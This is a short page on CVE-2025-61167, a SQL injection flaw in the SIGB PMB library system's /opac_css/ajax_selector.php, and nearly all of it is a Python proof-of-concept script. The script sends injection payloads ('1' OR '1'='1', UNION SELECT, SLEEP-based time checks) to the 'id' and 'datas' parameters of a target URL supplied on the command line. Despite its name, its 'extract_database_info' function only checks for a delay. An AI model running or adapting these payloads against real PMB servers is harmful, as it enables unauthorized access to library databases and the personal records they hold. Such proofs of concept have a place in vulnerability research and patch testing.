CVE-2025-61167 SIGB PMB ajax_selector.php SQL注入漏洞

import requests import sys # CVE-2025-61167 SQL Injection PoC # Target: SIGB PMB v8.0.1.14 # Endpoint: /opac_css/ajax_selector.php def exploit_sql_injection(target_url, param_name): # Basic SQL injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] for payload in payloads: params = {param_name: payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(target_url): # Blind SQL injection to extract database version payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END)--" params = {"id": payload, "datas": "test"} try: response = requests.get(target_url, params=params, timeout=15) if response.elapsed.total_seconds() > 2: print("[+] Blind SQL injection confirmed!") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61167.py <target_url>") print("Example: python cve-2025-61167.py http://target.com/opac_css/ajax_selector.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-61167 on {target}") exploit_sql_injection(target, "id") exploit_sql_injection(target, "datas") extract_database_info(target)